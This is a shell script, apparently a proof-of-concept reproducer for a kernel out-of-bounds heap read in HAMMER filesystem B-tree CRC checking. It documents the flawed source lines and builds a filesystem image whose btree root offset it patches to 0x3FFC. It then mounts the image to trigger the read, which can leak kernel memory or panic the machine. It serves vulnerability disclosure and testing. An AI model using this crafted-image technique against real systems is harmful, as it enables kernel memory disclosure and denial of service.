#!/bin/sh
# DF-0798 PoC: OOB heap read in HAMMER B-Tree node CRC validation.
#
# Threat model: an administrator is tricked into mounting an attacker-
# crafted HAMMER filesystem image. The crafted volume header's
# vol0_btree_root has its low 14 bits set to a value greater than
# HAMMER_BUFSIZE - sizeof(hammer_node_ondisk) = 16384 - 4096 = 12288.
#
# When the kernel loads the btree root on the first lookup, it executes
# at sys/vfs/hammer/hammer_ondisk.c:1306:
#
#   node->ondisk = (void *)((char *)buffer->ondisk +
#                            (node->node_offset & HAMMER_BUFMASK));
#
# without bounds-checking the offset. Then at line 1315 it calls
# hammer_crc_test_btree(), which at sys/vfs/hammer/hammer_crc.h:227 does:
#
#   hammer_datacrc(version, &node->crc + 1, HAMMER_BTREE_CRCSIZE);
#
# reading 4092 bytes from offset 4 of node->ondisk. With offset
# 0x3FFC, this reads kernel memory at buffer->ondisk + [0x4000, 0x4FFC)
# -- i.e. up to 4092 bytes entirely PAST the 16384-byte buffer.
#
# Observable effect on the default GENERIC kernel:
#   * Most often: silent OOB read of adjacent kernel heap/buffer cache,
#     CRC mismatch, mount fails with EIO (no kernel message, since
#     hdkprintf is debug-level only).
#   * Possible: panic if the OOB read crosses an unmapped page.
#
# This script MUST be run as root (mounting any filesystem requires it;
# this matches the threat model of a malicious fs image being mounted).

set -u
IMG=${DF0798_IMG:-/build/df0798.img}
DEV=${DF0798_DEV:-vn0}
MNT=${DF0798_MNT:-/mnt/df0798}
SIZE_MB=${DF0798_SIZE_MB:-4096}

# Cleanup any leftovers
umount $MNT 2>/dev/null || true
vnconfig -u $DEV 2>/dev/null || true
rm -f $IMG

echo "==== [1] create a valid 4 GB HAMMER image ===="
dd if=/dev/zero of=$IMG bs=1m count=0 seek=$SIZE_MB 2>&1 | tail -1
vnconfig $DEV $IMG
newfs_hammer -f -L df0798 /dev/$DEV 2>&1 | tail -3

echo "==== [2] mount RW briefly so the btree root is allocated ===="
mkdir -p $MNT
mount_hammer /dev/$DEV $MNT || { echo "RW mount failed"; exit 1; }
echo "hello world" > $MNT/file.txt
mkdir $MNT/subdir
echo "hello again" > $MNT/subdir/inner.txt
sync
umount $MNT
echo "rw mount populated and unmounted"

echo "==== [3] snapshot btree_root value before patch ===="
dd if=$IMG bs=1 skip=240 count=8 2>/dev/null | hexdump -C | head -1

echo "==== [4] patch vol0_btree_root low 14 bits -> 0x3FFC ===="
HERE=$(dirname "$0")
if [ ! -x "$HERE/patch_btree_root" ]; then
	echo "patch_btree_root helper missing; build it first" >&2
	exit 1
fi
"$HERE/patch_btree_root" "$IMG"
echo "patched image; btree_root now:"
dd if=$IMG bs=1 skip=240 count=8 2>/dev/null | hexdump -C | head -1

echo "==== [5] clear dmesg tail marker, then attempt RO mount ===="
dmesg | tail -3 > /tmp/df0798_dmesg_before
mount_hammer -o ro /dev/$DEV $MNT 2>&1
RC=$?
echo "mount_hammer rc=$RC"

echo "==== [6] try to trigger btree traversal ===="
ls -la $MNT 2>&1 | head -5
echo "ls rc=$?"

echo "==== [7] any kernel messages from the path? ===="
dmesg | tail -30 | grep -iE "hammer|crc|panic|trap|fault" || true

echo "==== [8] cleanup ===="
umount $MNT 2>/dev/null || true
vnconfig -u $DEV 2>/dev/null || true
echo "DONE"
